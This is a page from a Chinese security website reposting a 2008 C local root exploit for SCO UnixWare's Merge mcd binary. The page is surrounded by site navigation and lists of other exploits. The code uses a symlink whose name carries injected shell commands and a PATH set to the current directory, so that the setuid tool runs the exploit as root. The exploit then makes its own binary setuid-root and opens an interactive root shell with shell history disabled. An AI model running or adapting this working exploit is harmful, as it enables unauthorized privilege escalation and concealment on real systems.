首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SCO UnixWare Merge mcd Local Root Exploit
来源:www.vfocus.net 作者:qaaz 发布时间:2008-04-07  
/* 04/2008: public release
* I have'nt seen any advisory on this; possibly still not fixed.
*
* SCO UnixWare Merge mcd Local Root Exploit
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>

#define TARGET "/usr/lib/merge/mcd"
#define DIR "/proc/%d/object", getpid()
#define BIN "a.out"
#define LNK "hrc;" BIN ";prc"
#define DEV "/dev/cdrom/cdrom1"

int main(int argc, char *argv[])
{
char dir[4096], bin[4096];
char dev[4096], env[4096];
pid_t child;
struct stat st;

if (geteuid() == 0) {
setuid(geteuid());
setgid(getegid());
if (strstr(argv[0], BIN)) {
umask(0);
chown(BIN, 0, 3);
chmod(BIN, 06777);
kill(getppid(), 15);
return 0;
}
putenv("HISTFILE=/dev/null");
execl("/bin/sh", "sh", "-i", NULL);
printf("[-] sh: %s\n", strerror(errno));
return 1;
}

printf("---------------------------------------\n");
printf(" UnixWare Merge mcd Local Root Exploit\n");
printf(" By qaaz\n");
printf("---------------------------------------\n");

if (access(TARGET, EX_OK) < 0) {
printf("[-] %s: %s\n", TARGET, strerror(errno));
return 1;
}

if (symlink(DEV, LNK) < 0) {
printf("[-] %s: %s\n", LNK, strerror(errno));
return 1;
}

sprintf(dir, DIR);
sprintf(bin, "%s/%s", dir, BIN);

snprintf(dev, sizeof(dev), "/dev/cdrom/../../%s/%s", getcwd(NULL, 4096), LNK);
snprintf(env, sizeof(env), "PATH=.:%s", getenv("PATH"));

if ((child = fork()) == 0) {
chdir(dir);
putenv(env);
execl(TARGET, TARGET, "-u", "-d", dev, NULL);
printf("[-] %s: %s\n", TARGET, strerror(errno));
return 1;
} /*else if (child != -1)
waitpid(child, NULL, 0);*/

printf("[*] Waiting for privs...\n");
while (stat(bin, &st) == 0) {
if ((st.st_mode & 06777) == 06777) {
printf("[+] Enjoy\n");
unlink(LNK);
execl(bin, "woot", NULL);
printf("[-] %s: %s\n", bin, strerror(errno));
return 1;
}
sleep(1);
}
printf("[-] %s: %s\n", bin, strerror(errno));
unlink(LNK);
return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SCO UnixWare Reliant HA Local
·MS Visual Basic Enterprise Ed.
·SCO UnixWare < 7.1.4 p534589 (
·Sun Solaris <= 10 rpc.ypupdate
·Xitami Web Server v2.5c2 LRWP
·Picture Rating 1.0 Blind SQL I
·Microsoft Visual InterDev 6.0
·Apache Tomcat Connector jk2-2.
·XnView 1.92.1 Slideshow (FontN
·Novel eDirectory HTTP Denial o
·Drake CMS <= 0.4.11 Remote Bli
·Mcafee EPO 4.0 FrameworkServic
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved